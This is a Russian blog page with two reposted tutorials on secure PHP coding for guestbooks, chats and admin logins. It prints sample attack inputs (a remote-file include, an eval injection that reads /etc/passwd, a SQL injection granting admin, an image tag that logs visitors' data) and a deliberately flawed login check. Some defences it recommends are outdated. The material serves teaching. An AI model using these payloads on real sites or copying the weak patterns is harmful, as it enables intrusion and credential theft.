Приемы безопасного программирования веб-приложений на PHP.

Данная статья не претендует на роль всеобъемлющего руководства на тему “как сделать так, чтоб меня никто не поломал”. Так не бывает. Единственная цель этой статьи - показать некоторые используемые мной приемы для защиты веб-приложений типа WWW-чатов, гостевых книг, веб-форумов и других приложений подобного рода. Итак, давайте рассмотрим некоторые приемы программирования на примере некоей гостевой книги, написанной на PHP.

Первой заповедью веб-программиста, желающего написать более-менее защищенное веб-приложение, должно стать “Никогда не верь данным, присылаемым тебе пользователем”. Пользователи - это по определению такие злобные хакеры, которые только и ищут момента, как бы напихать в формы ввода всякую дрянь типа PHP, JavaScript, SSI, вызовов своих жутко хакерских скриптов и тому подобных ужасных вещей. Поэтому первое, что необходимо сделать - это жесточайшим образом отфильтровать все данные, присланные пользователем.

Допустим, у нас в гостевой книге существует 3 формы ввода: имя пользователя, его e-mail и само по себе тело сообщения. Прежде всего, ограничим количество данных, передаваемых из форм ввода чем-нибудь вроде:
<input type=text name=username maxlength=20>

На роль настоящей защиты, конечно, это претендовать не может - единственное назначение этого элемента - ограничить пользователя от случайного ввода имени длиннее 20-ти символов. А для того, чтобы у пользователя не возникло искушения скачать документ с формами ввода и подправить параметр maxlength, установим где-нибудь в самом начале скрипта, обрабатывающего данные, проверку переменной окружения web-сервера HTTP-REFERER:
<?
$referer=getenv(”HTTP_REFERER”);
if (!ereg(”^http://www.myserver.com”)) {
echo “hacker? he-he…\n”;
exit;
}
?>

Теперь, если данные переданы не из форм документа, находящегося на сервере www.myserver.com, хацкеру будет выдано деморализующее сообщение. На самом деле, и это тоже не может служить 100%-ой гарантией того, что данные ДЕЙСТВИТЕЛЬНО переданы из нашего документа. В конце концов, переменная HTTP_REFERER формируется браузером, и никто не может помешать хакеру подправить код браузера, или просто зайти телнетом на 80-ый порт и сформировать свой запрос. Так что подобная защита годится только от Ну Совсем Необразованных хакеров. Впрочем, по моим наблюдениям, около 80% процентов злоумышленников на этом этапе останавливаются и дальше не лезут - то ли IQ не позволяет, то ли просто лень. Лично я попросту вынес этот фрагмент кода в отдельный файл, и вызываю его отовсюду, откуда это возможно. Времени на обращение к переменной уходит немного - а береженого Бог бережет.

Следующим этапом станет пресловутая жесткая фильтрация переданных данных. Прежде всего, не будем доверять переменной maxlength в формах ввода и ручками порежем строку:
$username=substr($username,0,20);

Не дадим пользователю использовать пустое поле имени - просто так, чтобы не давать писать анонимные сообщения:
if (empty($username)) {
echo “invalid username”;
exit;
}

Запретим пользователю использовать в своем имени любые символы, кроме букв русского и латинского алфавита, знака “_” (подчерк), пробела и цифр:
if (preg_match(”/[^(\w)|(\x7F-\xFF)|(\s)]/”,$username)) {
echo “invalid username”;
exit;
}

Я предпочитаю везде, где нужно что-нибудь более сложное, чем проверить наличие паттерна в строке или поменять один паттерн на другой, использовать Перл-совместимые регулярные выражения (Perl-compatible Regular Expressions). То же самое можно делать и используя стандартные PHP-шные ereg() и eregi(). Я не буду приводить здесь эти примеры - это достаточно подробно описано в мануале.

Для поля ввода адреса e-mail добавим в список разрешенных символов знаки “@” и “.”, иначе пользователь не сможет корректно ввести адрес. Зато уберем русские буквы и пробел:
if (preg_match(”/[^(\w)|(\@)|(\.)]/”,$usermail)) {
echo “invalid mail”;
exit;
}

Поле ввода текста мы не будем подвергать таким жестким репрессиям - перебирать все знаки препинания, которые можно использовать, попросту лень, поэтому ограничимся использованием функций nl2br() и htmlspecialchars() - это не даст врагу понатыкать в текст сообщения html-тегов. Некоторые разработчики, наверное, скажут: “а мы все-таки очень хотим, чтобы пользователи _могли_ вставлять теги”. Если сильно неймется - можно сделать некие тегозаменители, типа “текст, окруженный звездочками, будет высвечен bold’ом.”. Но никогда не следует разрешать пользователям использование тегов, подразумевающих подключение внешних ресурсов - от тривиального <img> до супернавороченного <bgsound>.

Как-то раз меня попросили потестировать html-чат. Первым же замеченным мной багом было именно разрешение вставки картинок. Учитывая еще пару особенностей строения чата, через несколько минут у меня был файл, в котором аккуратно были перечислены IP-адреса, имена и пароли всех присутствовавших в этот момент на чате пользователей. Как? Да очень просто - чату был послан тег <img src=http://myserver.com/myscript.pl>, в результате чего браузеры всех пользователей, присутствовавших в тот момент на чате, вызвали скрипт myscript.pl с хоста myserver.com. (там не было людей, сидевших под lynx’ом :-) ). А скрипт, перед тем как выдать location на картинку, свалил мне в лог-файл половину переменных окружения - в частности QUERY_STRING, REMOTE_ADDR и других. Для каждого пользователя. С вышеупомянутым результатом.

Посему мое мнение - да, разрешить вставку html-тегов в чатах, форумах и гостевых книгах - это красиво, но игра не стоит свеч - вряд ли пользователи пойдут к Вам на книгу или в чат, зная, что их IP может стать известным первому встречному хакеру. Да и не только IP - возможности javascript’a я перечислять не буду :-)

Для примитивной гостевой книги перечисленных средств хватит, чтобы сделать ее более-менее сложной для взлома. Однако для удобства, книги обычно содержат некоторые возможности для модерирования - как минимум, возможность удаления сообщений. Разрешенную, естественно, узкому (или не очень) кругу лиц. Посмотрим, что можно сделать здесь.

Допустим, вся система модерирования книги также состоит из двух частей - страницы со списком сообщений, где можно отмечать подлежащие удалению сообщения, и непосредственно скрипта, удаляющего сообщения. Назовем их соответственно admin1.php и admin2.php.

Простейший и надежнейший способ аутентикации пользователя - размещение скриптов в директории, защищенной файлом .htaccess. Для преодоления такой защиты нужно уже не приложение ломать, а web-сервер. Что несколько сложнее и уж, во всяком случае, не укладывается в рамки темы этой статьи. Однако не всегда этот способ пригоден к употреблению - иногда бывает надо проводить авторизацию средствами самого приложения.

Первый, самый простой способ - авторизация средствами HTTP - через код 401. При виде такого кода возврата, любой нормальный браузер высветит окошко авторизации и попросит ввести логин и пароль. А в дальнейшем браузер при получении кода 401 будет пытаться подсунуть web-серверу текущие для данного realm’а логин и пароль, и только в случае неудачи потребует повторной авторизации. Пример кода для вывода требования на такую авторизацию есть во всех хрестоматиях и мануалах:
if (!isset($PHP_AUTH_USER)) {
Header(”WWW-Authenticate: Basic realm=\”My Realm\”");
Header(”HTTP/1.0 401 Unauthorized”);
exit;
}

Разместим этот кусочек кода в начале скрипта admin1.php. После его выполнения, у нас будут две установленные переменные $PHP_AUTH_USER и PHP_AUTH_PW, в которых соответственно будут лежать имя и пароль, введенные пользователем. Их можно, к примеру, проверить по SQL-базе:

*** Внимание!!!***

В приведенном ниже фрагменте кода сознательно допущена серьезная ошибка в безопасности. Попытайтесь найти ее самостоятельно.
$sql_statement=”select password from peoples where name=’$PHP_AUTH_USER’”;
$result = mysql($dbname, $sql_statement);
$rpassword = mysql_result($result,0,’password’);
$sql_statement = “select password(’$PHP_AUTH_PW’)”;
$result = mysql($dbname, $sql_statement);
$password = mysql_result($result,0);
if ($password != $rpassword) {
Header(”HTTP/1.0 401 Auth Required”);
Header(”WWW-authenticate: basic realm=\”My Realm\”");
exit;
}

Упомянутая ошибка, между прочим, очень распространена среди начинающих и невнимательных программистов. Когда-то я сам поймался на эту удочку - по счастью, особого вреда это не принесло, не считая оставленных хакером в новостной ленте нескольких нецензурных фраз.

Итак, раскрываю секрет: допустим, хакер вводит заведомо несуществующее имя пользователя и пустой пароль. При этом в результате выборки из базы переменная $rpassword принимает пустое значение. А алгоритм шифрования паролей при помощи функции СУБД MySQL Password(), так же, впрочем, как и стандартный алгоритм Unix, при попытке шифрования пустого пароля возвращает пустое значение. В итоге - $password == $rpassword, условие выполняется и взломщик получает доступ к защищенной части приложения. Лечится это либо запрещением пустых паролей, либо, на мой взгляд, более правильный путь - вставкой следующего фрагмента кода:
if (mysql_numrows($result) != 1) {
Header(”HTTP/1.0 401 Auth Required”);
Header(”WWW-authenticate: basic realm=\”My Realm\”");
exit;
}

То есть - проверкой наличия одного и только одного пользователя в базе. Ни больше, ни меньше.

Точно такую же проверку на авторизацию стоит встроить и в скрипт admin2.php. По идее, если пользователь хороший человек - то он приходит к admin2.php через admin1.php, а значит, уже является авторизованным и никаких повторных вопросов ему не будет - браузер втихомолку передаст пароль. Если же нет - ну, тогда и поругаться не грех. Скажем, вывести ту же фразу “hacker? he-he…”.

К сожалению, не всегда удается воспользоваться алгоритмом авторизации через код 401 и приходится выполнять ее только средствами приложения. В общем случае модель такой авторизации будет следующей:

Пользователь один раз авторизуется при помощи веб-формы и скрипта, который проверяет правильность имени и пароля.

Остальные скрипты защищенной части приложения каким-нибудь образом проверяют факт авторизованности пользователя.

Такая модель называется сессионной - после прохождения авторизации открывается так называемая “сессия”, в течение которой пользователь имеет доступ к защищенной части системы. Сессия закрылась - доступ закрывается. На этом принципе, в частности, строится большинство www-чатов: пользователь может получить доступ к чату только после того, как пройдет процедуру входа. Основная сложность данной схемы заключается в том, что все скрипты защищенной части приложения каким-то образом должны знать о том, что пользователь, посылающий данные, успешно авторизовался.

Рассмотрим несколько вариантов, как это можно сделать:

После авторизации все скрипты защищенной части вызываются с неким флажком вида adminmode=1. (Не надо смеяться - я сам такое видел).

Ясно, что любой, кому известен флажок adminmode, может сам сформировать URL и зайти в режиме администрирования. Кроме того - нет возможности отличить одного пользователя от другого.

Скрипт авторизации может каким-нибудь образом передать имя пользователя другим скриптам. Распространено во многих www-чатах - для того, чтобы отличить, где чье сообщение идет, рядом с формой типа text для ввода сообщения, пристраивается форма типа hidden, где указывается имя пользователя. Тоже ненадежно, потому что хакер может скачать документ с формой к себе на диск и поменять значение формы hidden. Некоторую пользу здесь может принести вышеупомянутая проверка HTTP_REFERER - но, как я уже говорил, никаких гарантий она не дает.

Определение пользователя по IP-адресу. В этом случае, после прохождения авторизации, где-нибудь в локальной базе данных (sql, dbm, да хоть в txt-файле) сохраняется текущий IP пользователя, а все скрипты защищенной части смотрят в переменную REMOTE_ADDR и проверяют, есть ли такой адрес в базе. Если есть - значит, авторизация была, если нет - “hacker? he-he…” :-)

Это более надежный способ - не пройти авторизацию и получить доступ удастся лишь в том случае, если с того же IP сидит другой пользователь, успешно авторизовавшийся. Однако, учитывая распространенность прокси-серверов и IP-Masquerad’инга - это вполне реально.

Единственным, известным мне простым и достаточно надежным способом верификации личности пользователя является авторизация при помощи random uid. Рассмотрим ее более подробно.

После авторизации пользователя скрипт, проведший авторизацию, генерирует достаточно длинное случайное число:
mt_srand((double)microtime()*1000000);
$uid=mt_rand(1,1000000);

Это число он:
заносит в локальный список авторизовавшихся пользователей;
Выдает пользователю.

Пользователь при каждом запросе, помимо другой информации (сообщение в чате, или список сообщений в гостевой книге), отправляет серверу свой uid. При этом в документе с формами ввода будет присутствовать, наряду с другими формами, тег вида:
<input type=hidden name=uid value=1234567890>

Форма uid невидима для пользователя, но она передается скрипту защищенной части приложения. Тот сличает переданный ему uid с uid’ом, хранящимся в локальной базе и либо выполняет свою функцию, либо… “hacker? he-he…”.

Единственное, что необходимо сделать при такой организации - периодически чистить локальный список uid’ов и/или сделать для пользователя кнопку “выход”, при нажатии на которую локальный uid пользователя сотрется из базы на сервере - сессия закрыта.

Некоторые программисты используют в качестве uid не “одноразовое” динамически генерирующееся число, а пароль пользователя. Это допустимо, но это является “дурным тоном”, поскольку пароль пользователя обычно не меняется от сессии к сессии, а значит - хакер сможет сам открывать сессии. Та же самая модель может быть использована везде, где требуется идентификация пользователя - в чатах, веб-конференциях, электронных магазинах.

В заключение стоит упомянуть и о такой полезной вещи, как ведение логов. Если в каждую из описанных процедур встроить возможность занесения события в лог-файл с указанием IP-адреса потенциального злоумышленника - то в случае реальной атаки вычислить хакера будет гораздо проще, поскольку хакеры обычно пробуют последовательно усложняющиеся атаки. Для определения IP-адреса желательно использовать не только стандартную переменную REMOTE_ADDR, но и менее известную HTTP_X_FORWARDED_FOR, которая позволяет определить IP пользователя, находящегося за прокси-сервером. Естественно - если прокси это позволяет.

При ведении лог-файлов, необходимо помнить, что доступ к ним должен быть только у Вас. Лучше всего, если они будут расположены за пределами дерева каталогов, доступного через WWW. Если нет такой возможности - создайте отдельный каталог для лог-файлов и закройте туда доступ при помощи .htaccess (Deny from all).

Я буду очень признателен, если кто-нибудь из программистов поделится своими не описанными здесь методами обеспечения безопасности при разработке приложений для Web.

Автор: Илья Басалаев

Тсточник http://www.codenet.ru

Tags: php, SQL, безопасность

Добавить комментарий Март 16, 2008

PHP - ошибки безопасности

Цель этого документа - информировать PHP программистов о часто встречающихся ошибках безопасности, которые могут остаться незамеченными в PHP скриптах. В то время как многие из нижеследующих концепций кажутся не лишенными здравого смысла, они, к сожалению не всегда практикуются.
После применения следующих практик в написании программ, Вы сможете исключить подавляющее большинство дыр безопасности, которые содержат многие скрипты. Многие из этих дыр безопасности были найдены в часто используемых open source (открытых источниках) и коммерческих PHP скриптах, в прошлом.

Наиболее важный урок, полученный от изучения этой статьи, в том, что вы должны никогда не доверять данным полученным от пользователя ожидая именно то что требуется.

Путь, которым большинство PHP скриптов были скомпрометированы - введя непредвиденные данные использовать дыры безопасности содержащиеся в скрипте.

Всегда держите следующие принципы в уме, когда пишете свои скрипты. помните следующие принципы,

1. Никогда не используйте include, require и не открывайте файл, имя которого базируется на вводе пользователя, тщательно не проверив его перед этим.

Рассмотрим следующий пример:

if(isset($page))
{
include($page);
}

Так как здесь не производится проверки данных содержащихся в $page, злоумышленник, гипотетически, может вызвать ваш скрипт подобным образом (предполагается register_globals установлено в ON):

script.php?page=/etc/passwd

Что запросит ваш скрипт подключить (include) файл паролей сервера /etc/passwd.

При включении не PHP файла посредством include() или require(), он будет отображен в виде HTML/Text не обработанный как код PHP.

На многих установках PHP, функции include() и require() могут подключать удаленные файлы. Если злоумышленник вызовет ваш скрипт подобным образом:

script.php?page=http://mysite.com/evilscript.php

Он получит возможность через evilscript.php послать любой PHP код, который он или она пожелает, чтоб выполнил ваш скрипт. Представьте, если пользователь пошлет код удаляющий содержимое вашей базы данных или перенаправит секретную информацию прямо в браузер.

Решение: проверять ввод. Один из методов проверки - создать список разрешенных страниц. Если входные данные не соответствует какой-либо из этих страниц, может быть выведена ошибка.

$pages = array(’index.html’, ‘page2.html’, ‘page3.html’);
if( in_array($page, $pages) )
{
include($page);
{
else
{
die(”Nice Try.”);
}

2. Будьте осторожны с eval()

Размещение значений введенных пользователем в функции eval() может быть крайне опасным.
Вы по существу предоставляете злоумышленнику возможность выполнить любую команду, которую он или она пожелает! Вы можете предусмотреть ввод в выпадающем меню из указанных вами опций, но ваш пользователь может решить послать входные данные похожим образом:

script.php?input=;passthru(”cat /etc/paswd”);

Поместив свой собственный код в выражении, пользователь может вызвать вашу программу для полного вывода файла /etc/passwd.

Используйте eval() как можно реже, и во что бы то ни стало, проверяйте входные данные. Он должен использоваться только когда это крайне необходимо - когда используется динамически сгенерированный PHP код. Если вы используете его для подстановки шаблонных переменных в строку или подстановки значений введенных пользователем, то вы используете его из ошибочных соображений. Попробуйте sprintf() или систему шаблонов (template system) взамен.

3. Будьте осторожны, когда используете register_globals = ON

Это свойство стало главным предметом разногласий с тех пор как появилось. Первоначально оно задумывалось для того чтоб сделать программирования на PHP проще (и оно это сделало), но злоупотребление им зачастую ведет к дырам безопасности. Что касается PHP 4.2.0, register_globals установлено в OFF по умолчанию. Рекомендуется, чтоб Вы использовали суперглобальные переменные, работая с вводом ($_GET, $_POST, $_COOKIE, $_SESSION, etc).

Например, скажем, у Вас есть переменная, которая указывает какую страницу подключать:

include($page);

но вы подразумеваете, что Ваша целевая $page определена в конфигурационном файле или где-нибудь в скрипте, и не приходит из ввода пользователя. Однажды вы забудете предопределить $page. Если register_globals установлено в On, злоумышленник может завладеть и определить $page для Вас, вызвав Ваш скрипт подобным образом:

script.php?page=http://www.example.com/evilscript.php

Я рекомендую Вам разрабатывать с register_globals установленным в OFF, и использовать суперглобальные переменные, когда получаете ввод пользователя. Вдобавок, Вы всегда должны разрабатывать с полным отчетом об ошибках, который может быть указан как (в начале вашего скрипта):

error_reporting(E_ALL);

Таким образом, вы получите предупреждение о каждой вызываемой Вами переменной, которая не была предопределена. Да, PHP не обязывает Вас предопределять переменные так там могут быть сообщения, которые вы можете проигнорировать, но это поможет вам выловить непроинициализированные переменные, которые вы получаете из ввода или других источников. В предыдущем примере, когда $page передавалась в include(), PHP выдал бы сообщение, о том, что $page не определена. Хотите вы или нет использовать register_globals решать Вам, но будьте уверены в том, что Вы понимаете его преимущества и недостатки и как избежать возможных дыр безопасности.

4. Никогда не выполняйте неэкранированных запросов.

PHP имеет свойство, включенное по умолчанию , автоматически экранировать (добавляя впереди бакслэш “\\”) определенные символы, поступающие из GET, POST, или COOKIE. Одиночная кавычка (’) пример одного из символов которые экранируются автоматически. Это делается так что если Вы включите входные переменные в Ваш SQL запрос, она не интерпретируется одиночной кавычкой части запроса. Скажем, Ваш пользователь ввел $name через форму и Вы выполнили этот запрос:

UPDATE users SET Name=’$name’ WHERE ID=1;

Обычно, если оно содержит введенное $name с ординарной кавычкой в нем, он будет экранирован, так MySQL увидит следующее:

UPDATE users SET Name=’Joe\\’s’ WHERE ID=1;

так что одиночная кавычка, содержащаяся в “Joe’s” не смешается с синтаксисом запроса.

В некоторых случаях, вы можете применить stripslashes() к входным переменным. Если вы помещаете переменную в запрос, для уверенности воспользуйтесь addslashes() или mysql_escape_string() для экранирования одиночных кавычек перед выполнением запроса. Представьте если неэкранированный запрос прошел, и злоумышленник ввел часть запроса как внутреннее имя!

UPDATE users SET Name=’Joe’,Admin=’1′ WHERE ID=1;

В поле формы, ввел Joe’,Admin=’1

Как свое имя и так как одиночные кавычки не были экранированы, он или она сможет закончить определение имени, поместив запятую, и установив другую переменную называемую Admin!

Конечный, печальный, запрос будет выглядеть как:

UPDATE users SET Name=’Joe’,Admin=’1′ WHERE ID=1;

В некоторых конфигурациях, magic_quotes_gpc (свойство, которое автоматически добавляет слеш ко всему вводу) установлено в OFF. Вы можете использовать функцию get_magic_quotes_gpc() чтоб просмотреть включено оно или нет (возвращает true или false). Если вернет false, просто воспользуйтесь addslashes() для добавления слешей ко всем входным данным (проще если вы испоьзуете $_POST, $_GET и $_COOKIE или $HTTP_POST_VARS, $HTTP_GET_VARS, и $HTTP_COOKIE_VARS, вместо суперглобальных переменных так как вы можете пошагово пройтись по этим массивам используя цикл foreach() и добавляя слеши к каждому).

5. Для защищенных зон, используйте сессии или проверяйте каждый раз login.

В некоторых случаях, где программисты используют только один из видов login.php скрипт сперва проверяет имя пользователя и пароль (введенные через форму), проверяя администратору ли они принадлежат или действительному пользователю, и устанавливают переменную через cookie, или прячут прямо, в HTML, как скрытую переменную. Затем в коде, они просматривают, имеют ли они доступ, наподобие:

if($admin)
{
// let them in
}
else
{
// kick them out
}

Вышеприведенный код делает фатальное допущение, что переменная $admin может прийти только из cookie или полей ввода формы, которые злоумышленник не контролирует.

Однако, не в этом случае.
С включенными register_globals, встраивание получаемого ввода в переменную $admin также легкомысленно как вызов скрипта как:

script.php?admin=1

Более того, даже если вы используете суперглобальные переменные $_COOKIE или $_POST, злоумышленник может запросто фальсифицировать cookie или создать свою собственную HTML форму чтоб послать любую информацию в Ваш скрипт.

Есть два хороших решения этой проблемы. Первый - тем же путем установить переменную $admin, но в то же время устанавливать переменную $admin как сессионную переменную.
В этом случае, она сохраняется на сервере и вероятность фальсификации гораздо ниже.
При повторных обращениях к этому же скрипту, ваша предыдущая пользовательская сессионная информация будет доступна на сервере, и Вы сможете определить является ли пользователь администратором как:

if( $_SESSION[’admin’] )

Второй метод это сохранять только имя пользователя и пароль в cookie, и при каждом обращении к скрипту, сверять имя пользователя и пароль и проверять пользователь это или администратор. Вы можете создать две функции - одну называемой validate_login($username,$password), которая проверяет информацию о пользовательских логинах и одну называемой is_admin($username), которая базу данных просмотреть принадлежит ли имя пользователя администратору. Код необходимо разместить в начале каждого защищенного скрипта.

if( !validate_login( $_COOKIE[’username’], $_COOKIE[’password’] ) )
{
echo “Sorry, invalid login”;
exit;
}
// the login is ok if we made it down here
if( !is_admin( $_COOKIE[’username’] ) )
{
echo “Sorry, you do not have access to this section”;
exit;
}

Лично Я рекомендую использовать сессии, так как последнее решение не масштабируемо.

6. Если вы не хотите, чтоб содержимое файла было просмотрено, дайте файлу .php расширение

Это часто практиковалось, некоторое время, называть подключаемые или библиотечные файлы с .inc расширением. Проблема в следующем: если злоумышленник просто укажет .inc файл в своем браузере, файл будет выведен как обыкновенный текст не обработанный как PHP. В случае если браузеру не понравится тип файла, скорее всего, будет предложено скачать его. Представьте если файл содержит ваш логин и пароль к базе данных, или еще более секретную информацию.

Это касается любых других расширений кроме .php (и нескольких других), таким образом .conf или .cfg файлы не будут в безопасности.Решение это добавлять .php расширение в конце них. Так как вы подключаете файлы или конфигурационные файлы обычно только определяя переменные и/или функции и явно не выводите что-либо, если ваш пользователь попытается загрузить их, например, в свой браузер:

http://yoursite.com/lib.inc.php

они скорее всего вообще не будут отображены, если ваш lib.inc.php не выводит что-либо. Таким образом, файл будет обработан как PHP вместо, вывода вашего кода.

Также есть сообщения от людей добавляющих Apache директивы, которые запрещают доступ к .inc файлам; однако, Я не рекомендую этого из-за недостатка переносимости. Если вы действительно включите .inc файлы и эту Apache директиву, запрещая доступ к ним, и в один день вы перенесете ваши скрипты на другой сервер и забудете поместить директиву в Apache, Вы общедоступны.

Автор: Дэйв Кларк (Dave Clark)
От: 2004-06-09
——————————————————————————–
Перевел: Байзульдин Тимур Муратович.
Источник: http://www.devshed.com

Tags: include, php, register_globals, безопасность, ошибки

Добавить комментарий Февраль 29, 2008


Календарь

Январь 2009
Пн Вт Ср Чт Пт Сб Вс
« Апр    
 1234
567891011
12131415161718
19202122232425
262728293031  

Записи по месяцам

Записи по рубрикам

Бегун